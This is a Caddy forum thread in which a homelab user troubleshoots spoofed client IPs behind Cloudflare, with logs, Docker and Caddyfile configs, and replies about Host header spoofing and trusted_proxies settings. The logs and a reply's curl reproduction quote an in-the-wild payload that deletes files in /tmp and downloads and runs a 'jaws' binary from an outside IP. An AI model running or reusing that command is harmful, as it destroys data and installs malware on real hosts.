Localhost in "host" of caddy logs

1. The problem I’m having:

I have exposed a caddy server on a firewalled host in my homelab, and set up crowdsec, the caddy bouncer, and caddy logs to monitor activity on the server. I have DNS for three specific subdomains (auth.domain.com for authentication, vpn.domain.com for access to the VPN service, and wiki.domain.com for access to the homepage of the wiki) that point towards my public IPv4 address. My DNS is through cloudflare, and I have proxied all three of the subdomains through their proxy servers. I believe I have set up my Caddyfile to extract the correct client_ips from requests, using the cloudflare trusted proxies plugin.

I am running Caddy in a docker container (using a dockerfile that uses xcaddy to build a version with the plugin above and the crowdsec plugin) on the host, along with the VPN service, and the crowdsec agent.

Everything is working, but a few log messages and alerts from Crowdsec have me concerned, and I would appreciate guidance on next steps for investigation and further hardening.

I saw some alerts from Crowdsec about requests attempting to access probing/malicious endpoints, but the requests have been tagged as coming from 127.0.0.1 (they have a client_ip of 127.0.0.1 in the Caddy logs). Inspecting the logs, I am able to see that a header set by Cloudflare - cf-connecting-ip - is set to (what I assume is) the actual client IP. The other cloudflare headers are set to the best of my knowledge and look correct. See the logs below. These requests all seem to target my wiki.domain.com endpoint, which I tried to configure to redirect all requests to /Home, so I’m curious of the redirect is causing this issue.

The other thing that has me concerned is one specific log message I found while investigating these alerts. There is a single log message attempting to access `127.0.0.1:80/shell?cd+/tmp;rm±rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws`. I am curious how a request can come to Caddy with the host listed as 127.0.0.1:80 unless it is coming from the machine itself. I do not know how to diagnose this issue, but looking up the payload (45.90.12.71/jaws) it seems listed as a potential security issue, though I can’t find any specifics about what.

Mostly I’m feeling a bit in over my head, and would appreciate some help. Thanks in advance!

2. Error messages and/or full log output:

A sample log line for the generic client_ip issue: (they’re all basically the same, the issue I’m interested in is figuring out why the client_ip is listed as localhost)

{
   "level":"info",
   "ts":1770188100.642438,
   "logger":"http.log.access",
   "msg":"handled request",
   "request":{
      "remote_ip":"172.71.118.221",
      "remote_port":"9712",
      "client_ip":"127.0.0.1",
      "proto":"HTTP/2.0",
      "method":"GET",
      "host":"wiki.cashtoyes.xyz",
      "uri":"/stripe/.env",
      "headers":{
         "Cf-Connecting-Ip":[
            "185.177.72.52"
         ],
         "Accept-Language":[
            "en-US,en;q=0.9"
         ],
         "Cf-Ipcountry":[
            "FR"
         ],
         "Cf-Visitor":[
            "{\"scheme\":\"https\"}"
         ],
         "X-Forwarded-Proto":[
            "https"
         ],
         "True-Client-Ip":[
            "127.0.0.1"
         ],
         "User-Agent":[
            "curl/8.7.1"
         ],
         "X-Azure-Clientip":[
            "127.0.0.1"
         ],
         "X-Forwared":[
            "127.0.0.1
"
         ],
         "X-Azure-Socketip":[
            "127.0.0.1"
         ],
         "Accept":[
            "*/*"
         ],
         "X-Forwarded-For":[
            "127.0.0.1,185.177.72.52"
         ],
         "X-Originating-Ip":[
            "127.0.0.1"
         ],
         "Cdn-Loop":[
            "cloudflare; loops=1"
         ],
         "Cf-Ray":[
            "9c88428cbf5eebb0-CDG"
         ],
         "X-Host":[
            "127.0.0.1"
         ],
         "X-Client-Ip":[
            "127.0.0.1"
         ],
         "Accept-Encoding":[
            "gzip, br
"
         ]
      },
      "tls":{
         "resumed":false,
         "version":772,
         "cipher_suite":4867,
         "proto":"h2",
         "server_name":"wiki.cashtoyes.xyz"
      }
   },
   "bytes_read":0,
   "user_id":"",
   "duration":0.000697309,
   "size":0,
   "status":403,
   "resp_headers":{
      "Server":[
         "Caddy"
      ],
      "Alt-Svc":[
         "h3=\":443\"; ma=2592000"
      ],
      "Content-Type":[
         "text/p
lain; charset=utf-8"
      ]
   }
}

The single log line for the Jaws payload issue:

{
  "level": "info",
  "ts": 1770237647.0067222,
  "logger": "http.log.access",
  "msg": "handled request",
  "request": {
    "remote_ip": "201.205.247.46",
    "remote_port": "58614",
    "client_ip": "201.205.247.46",
    "proto": "HTTP/1.1",
    "method": "GET",
    "host": "127.0.0.1:80",
    "uri": "/shell?cd+/tmp;rm+-rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws",
    "headers": {
      "User-Agent": [
        "Hello, world"
      ],
      "Accept": [
        "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
      ],
      "Connection": [
        "keep-alive"
      ]
    }
  },
  "bytes_read": 0,
  "user_id": "",
  "duration": 0.000022878,
  "size": 0,
  "status": 308,
  "resp_headers": {
    "Server": [
      "Caddy"
    ],
    "Connection": [
      "close"
    ],
    "Location": [
      "https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws"
    ],
    "Content-Type": []
  }
}

3. Caddy version:

docker compose exec caddy caddy version

v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

Here is the Dockerfile I am using for reference:

FROM caddy:builder AS builder

RUN --mount=type=cache,target=/go/pkg/mod \
    --mount=type=cache,target=/root/.cache/go-build \
    xcaddy build \
    --with github.com/hslatman/caddy-crowdsec-bouncer \
    --with github.com/WeidiDeng/caddy-cloudflare-ip

FROM caddy:latest

COPY --from=builder /usr/bin/caddy /usr/bin/caddy

4. How I installed and ran Caddy:

a. System environment:

uname -a

Linux netbird 6.8.0-94-generic #96-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 9 20:36:55 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux

It is a Ubuntu VM running on Proxmox. Caddy is running in a docker container with the above Dockerfile.

b. Command:

docker compose up -d

c. Service/unit/compose file:

docker-compose.yml:

services:
  caddy:
    container_name: caddy
    build:
      context: .
      dockerfile: Dockerfile
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
      - "443:443/udp"
    volumes:
      - ./conf:/etc/caddy
      - ./site:/srv
      - caddy_data:/data
      - caddy_config:/config

volumes:
  caddy_data:
  caddy_config:

d. My complete Caddy config:

{
        log {
                output stdout
                format json
                include http.log.access admin.api
        }
        servers {
                trusted_proxies cloudflare {
                        interval 12h
                        timeout 15s
                }
        }
        crowdsec {
                api_url http://172.17.0.1:8181
                api_key **REDACTED**
                ticker_interval 15s
                appsec_url http://172.17.0.1:7422
        }
}

auth.cashtoyes.xyz {
        log
        route {
                crowdsec
                reverse_proxy 10.0.0.70:9000
        }
}

# NetBird Caddyfile Snippet
# Generated by getting-started.sh
#
# This config uses container names since Caddy is on the same Docker network.
# Add this block to your Caddyfile and reload Caddy.

netbird.cashtoyes.xyz {
        log
        route {
                crowdsec
                appsec

                # Relay (WebSocket)
                reverse_proxy /relay* netbird-relay:80

                # Signal WebSocket
                reverse_proxy /ws-proxy/signal* netbird-signal:80

                # Signal gRPC (h2c for plaintext HTTP/2)
                reverse_proxy /signalexchange.SignalExchange/* h2c://netbird-signal:10000

                # Management API
                reverse_proxy /api/* netbird-management:80

                # Management WebSocket
                reverse_proxy /ws-proxy/management* netbird-management:80

                # Management gRPC
                reverse_proxy /management.ManagementService/* h2c://netbird-management:80

                # Embedded IdP OAuth2
                reverse_proxy /oauth2/* netbird-management:80

                # Dashboard (catch-all)
                reverse_proxy /* netbird-dashboard:80
        }
}

wiki.cashtoyes.xyz {
        log
        route {
                @homepage {
                        path /Home
                        path /Home/image*
                        path /static/*
                }
                @other not path @homepage
                crowdsec
                appsec
                reverse_proxy @homepage http://10.0.0.149:8085
                redir @other /Home
                respond 403
        }
}

5. Links to relevant resources:

Netbird portion of the configuration was generated as part of their startup script, but has been working fine. It’s truly just not understanding these logs that I am concerned about.

You probably need to add this:

client_ip_headers CF-Connecting-IP

Inside your config, it should look something like this:

servers {
        trusted_proxies cloudflare {
                interval 12h
                timeout 15s
        }
        client_ip_headers CF-Connecting-IP
}

There are two things going on in that log:

  1. Caddy redirects HTTP to HTTPS by default.
  2. Someone is spoofing the Host header. A normal browser wouldn’t add :80 to the Host header for HTTP (just like it wouldn’t add :443 for HTTPS).

So what’s likely happening is someone is sending a request like this, with a fake Host header:

curl 'http://IP_ADDRESS_OF_THE_SERVER/shell?cd+/tmp;rm+-rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws' -H 'Host: 127.0.0.1:80'

Caddy receives that and issues an HTTP 308 redirect to:

Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+45.90.12.71/jaws;sh+/tmp/jaws

That’s the only case I can think of where Caddy would log HTTP traffic with this:

    "host": "127.0.0.1:80",

including the port number :80 in the host field.

Thanks so much for the input.

I tried that curl command it it created a log basically exactly like the one in my original post. Thanks a lot of that insight! I’m curious now why CrowdSec didn’t interpret it as “potentially malicious”, while it’s clear it didn’t cause anything to happen it seems like whoever sent that request is messing around in a way that seems fishy. Regardless, I’ll look into it with CrowdSec themselves.

As for the other matter, I took a look at the Caddyfile documentation on trusted_proixies and found the following:

Upstream proxies such as HAProxy, CloudFlare, AWS ALB, CloudFront, etc. will append each new connecting remote address to the right of X-Forwarded-For. It is recommended to enable trusted_proxies_strict when working with these, as the left-most IP address may be spoofed by the client.

I added the trusted_proxies_strict line, and I’ll wait to see if that addresses the issue. If not, thanks for pointing me at the client_ip_headers option, I will try that next!

Marking this as solved for now, thanks again so much for the quick reply.